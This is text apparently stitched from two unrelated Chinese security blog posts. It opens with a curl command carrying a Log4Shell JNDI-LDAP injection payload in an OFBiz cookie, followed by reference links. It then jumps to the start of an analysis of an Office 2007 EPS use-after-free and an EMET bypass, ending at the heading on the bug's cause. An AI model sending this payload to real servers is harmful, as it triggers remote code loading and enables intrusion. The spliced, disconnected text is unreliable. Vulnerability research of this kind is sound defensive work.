curl --insecure -vv -H "Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}" https://localhost:8443/webtools/control/main

参考

https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

https://lorexxar.cn/2021/12/10/log4j2-jndi/#2-15-0-rc1-%E7%9A%84%E4%BF%AE%E5%A4%8D

https://xz.aliyun.com/t/10649#toc-2

https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis

前言

该漏洞和上次分析的 CVE-2017-0261 为同一类型，同样是 EPS 文件解析产生的 UAF 漏洞，因此在分析时就不再讲解 EPS 的语法和相关结构了。分析该漏洞是因为样本能够完全绕过 EMET，故此深入分析下绕过的原理并改造 CVE-2017-0261 绕过 EMET。

调试环境

调试是直接在 Office2007 上进行调试，调试环境如下：

OS:            Win7 x64 SP1
Office:        Ofiice 2007 x86
Image name:    EPSIMP32.FLT
ImageSize:     0x0006E000
File version:  2006.1200.4518.1014
样本hash：     375e51a989525cfec8296faaffdefa35

漏洞分析

漏洞成因